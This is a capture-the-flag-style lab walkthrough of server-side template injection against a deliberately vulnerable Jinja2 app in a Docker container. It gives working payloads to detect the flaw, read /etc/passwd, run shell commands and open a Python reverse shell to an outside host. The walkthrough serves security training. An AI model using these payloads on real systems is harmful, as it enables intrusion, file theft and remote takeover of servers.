# SSTI (Server-Side Template Injection)

## Fetching & Running The SSTI Vulnerable App

Run the below command to fetch the SSTI lab container

```jsx
sudo docker pull dockerbucket/ssti_env
```

<figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2Fp7BWiqZelKbGjk7k8khQ%2F1.png?alt=media&#x26;token=dc5d7daa-1e9b-4dde-8f4a-5f47c2ba391b" alt=""><figcaption></figcaption></figure>

The below command starts the container & runs the vulnerable app on port `60`

```jsx
 sudo docker run -p 60:60 dockerbucket/ssti_env python /root/vulncode.py
```

<figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FrryTGY0iEGTGUiIhflM7%2F2.png?alt=media&#x26;token=a3901c2b-fe46-4669-bb25-e1c6823d17bb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FFlH5i52MBCcGk4VShSab%2F3.png?alt=media&#x26;token=f888b0c0-147f-4c57-9cd5-358c7685745d" alt=""><figcaption></figcaption></figure>

## SSTI (Server-Side Template Injection)

### 1 - Detect Where The Template Injection Exist & Validate The Vulnerability

**Note :** fire-up your proxy so we can intercept & observe the requests to be sent to the server

After browsing the app on `0.0.0.0:60` we can see a search field, and to detect the SSTI, we can use a simple payload (usually mathematical payloads are being used to see if the server does the calculation for us! if so, then we can confirm the vulnerability)

```jsx
{{3*2}}
```

<figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FlkHkDWkGGBT49a5pfEFo%2F4.png?alt=media&#x26;token=4fe8e288-d7c3-4452-8d59-7976a3c64bf6" alt=""><figcaption></figcaption></figure>

and if we observe the request before forwarding it, we can see that we are injecting into the `username` parameter of the POST body

<div><figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2F0STHxtnEIqf45mdqz5MF%2F6.png?alt=media&#x26;token=e56a9f54-63ce-4f2e-808a-2f72e220de6d" alt=""><figcaption></figcaption></figure> <figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FpEGOLy2y5z5cexriyjFq%2F7.png?alt=media&#x26;token=5b2e8c9a-9977-4227-9a0f-642d1e48e099" alt=""><figcaption></figcaption></figure></div>

After forwarding the request, we can see that the Server executed the equation for us and the result is reflected in the server response!

<figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FPI0KFSu0bpgbztuhv7ZZ%2F5.png?alt=media&#x26;token=e3a97f02-5045-40f4-a276-bee309f4dbad" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FnhyLrEI8u7zgP2xfIEbT%2F8.png?alt=media&#x26;token=9ba7dfd0-1a9b-4682-b125-c5366c1e28c5" alt=""><figcaption></figcaption></figure>

at this phase, we can conclude that the vulnerable Parameter is `username`

now, we will move to the next step, to identify the Template Engine

### 2 - Identify The Template Engine

as [@u0pattern\_cs](https://twitter.com/u0pattern_cs) mentioned in his [post](https://3alam.pro/1337r00t/articles/ssti) we can follow the approach presented in the below image to identify the Template Engine in use

<figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FRCqmbOKcuVHGJr7otCD3%2F9.png?alt=media&#x26;token=f3a8f1bd-161d-44ec-afd1-757104dd6504" alt=""><figcaption></figcaption></figure>

**Note:** we will follow the green arrow and If the injection fails, we will follow the red arrow.

from the previous step we used the `{{3*2}}` payload, so now we will move forward to the next test case and we will use the following payload

```jsx
{{3*’2’}}
```

and after forwarding the request , we received the following response from the server

<figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FpdYftrQvoiYZZf4AUFfH%2F10.png?alt=media&#x26;token=24b6c388-5719-495d-b862-f00ea2101615" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FkPGRZRtZ0nlNh4200CgN%2F11.png?alt=media&#x26;token=0dd5782f-0983-40a1-b3d2-b8ef1c2dfefc" alt=""><figcaption></figcaption></figure>

if we analyze the server response we can say that the server is still executing our payload (the server prints `2` three times), so the Template Engine can be either [Jinja2](https://palletsprojects.com/p/jinja/) (for `Python`) or [Twig](https://twig.symfony.com/) (for `PHP`)

we will first start testing if it’s a `Python` Template Engine, we will use the below payload (for `Python 2`) which tries to dump the classes

```jsx
{{''.__class__.__mro__[2].__subclasses__()}}
```

and we can see in the below screenshots that we were able to dump the classes names

<div><figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FbjnNBuYhmxgTQ6GGppVP%2F12.png?alt=media&#x26;token=bf659d26-0e14-47bd-9680-900924cceaa2" alt=""><figcaption></figcaption></figure> <figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FEOH8VrESoledvBJfSNmf%2F13.png?alt=media&#x26;token=74e12b12-f579-4b38-bff4-0a87e5b9eccc" alt=""><figcaption></figcaption></figure> <figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FQuRYF1GpFh7RgILTfdfe%2F14.png?alt=media&#x26;token=de187ad3-7ca1-415c-b68a-b125bb00c08b" alt=""><figcaption></figcaption></figure></div>

so we can confirm from this phase that the Template Engine is [Jinja2](https://palletsprojects.com/p/jinja/)

### 3 - Exploit the Vulnerability

#### 3.1 - Reading `/etc/passwd`

After dumping the classes, we can utilize the `file` class to read the content of `/etc/passwd` , the class index is `40` and to confirm this we can use the below command to obtain the class name at that index

```jsx
{{''.__class__.__mro__[2].__subclasses__()[40]}}
```

<div><figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FddMPPvD7aIdYvE3ShcNJ%2F15.png?alt=media&#x26;token=f088cc1f-72aa-40c9-b173-a5fbe00ff046" alt=""><figcaption></figcaption></figure> <figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2F2QuRT1GgtJezUldLFBlG%2F16.png?alt=media&#x26;token=1968288f-7a64-4fcc-a6f6-e5713e0a1669" alt=""><figcaption></figcaption></figure> <figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FXJhVnxdnZ9NGGi0fjLcs%2F17.png?alt=media&#x26;token=679387e5-f9d0-405d-8379-4c885c283c23" alt=""><figcaption></figcaption></figure></div>

Now we can call the `read()` function from the `File` class to read the content of `/etc/passwd`

```jsx
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
```

<div><figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FKtctZBT3N4316F52IbCt%2F18.png?alt=media&#x26;token=7306bdf3-994f-4030-80da-a3ba10a1e08b" alt=""><figcaption></figcaption></figure> <figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FxA2z3N1YgTPbWetr6MeU%2F19.png?alt=media&#x26;token=a60d4042-81ad-42b4-ba69-509c800152ee" alt=""><figcaption></figcaption></figure> <figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2Fg50XCMVJa0GYLDe4O03x%2F20.png?alt=media&#x26;token=58d8e5f5-ac58-4495-8b3b-d39a77d5d10b" alt=""><figcaption></figcaption></figure></div>

#### 3.2 `ls`

to execute bash commands in python we can utilize [os](https://docs.python.org/3/library/os.html) library, but how can we use this library in Jinja template engine ? we would need to use the `import` statement to bring the [os](https://docs.python.org/3/library/os.html) library into our context so we can call the library functions.

Sam mentioned in his [project-assignments](https://bowneconsultingcontent.com/pub/EH/proj/ED105.htm) for his students (which solved the same lab BTW!) that we can use the `catch_warnings` function to reach the `import`

I tried to build a payload that performs steps mentioned by Sam which are :

* looping over the classes
* for each class, we are searching for a function that has a “`warning`” string
* using the `catch_warnings` function to reach the `import`
* using `import` to import the `os.system`
* calling `popen` and passing our commands! (below we are passing `ls` command)

```jsx
{% for i in 'alaa'.__class__.__mro__[2].__subclasses__() %}{% if 'warning' in i.__name__ %}{{ i()._module.__builtins__['__import__']('os').popen('ls').read().zfill(417)}}{% endif %}{% endfor %}
```

after injecting this payload, we can see that we were able to perform `ls`

<div><figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FhCGRQ3a4JV6dD9px8bSY%2F21.png?alt=media&#x26;token=a2556639-449f-47b4-ad5b-eafe473e960b" alt=""><figcaption></figcaption></figure> <figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2F4mTKHU95Jpn2Kt8fL8et%2F22.png?alt=media&#x26;token=59c99b67-316b-4cbd-a12a-d9d1ec65fa71" alt=""><figcaption></figcaption></figure> <figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2F3HQtp19kL9pEI3ezQK1B%2F23.png?alt=media&#x26;token=ed122a3a-937c-4b09-81ef-a1a568fc3914" alt=""><figcaption></figcaption></figure></div>

#### 3.3 Reverse Shell

Using the previous approach we can also obtain a reverse shell, but instead we will pass a python one-line script to the popen

```jsx
python -c 'socket=__import__(\\"socket\\");os=__import__(\\"os\\");pty=__import__(\\"pty\\");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"*.*.*.*\\",4441));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\"/bin/sh\\")'
```

so the final payload will be :

```jsx
{% for i in 'alaa'.__class__.__mro__[2].__subclasses__() %}{% if 'warning' in i.__name__ %}{{ i()._module.__builtins__['__import__']('os').popen("python -c 'socket=__import__(\\"socket\\");os=__import__(\\"os\\");pty=__import__(\\"pty\\");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"*.*.*.*\\",4441));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\"/bin/sh\\")'").read().zfill(417)}}{% endif %}{% endfor %}
```

and if we execute it we will successfully obtain the shell as can be seen below

<figure><img src="https://1685144728-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MhhHOeg1drDkPhoFbKL%2Fuploads%2FWppNgcwv7CReK9iYFU4h%2F26.png?alt=media&#x26;token=2cf74af5-5f07-42af-ba62-20f67231604a" alt=""><figcaption></figcaption></figure>

**Note:**

* As the vulnerable application is installed in a docker container, to obtain a reverse shell I started another container in my machine (kali as you see), I’m not aware of how to pass connections between docker containers and other VMs or main host machine
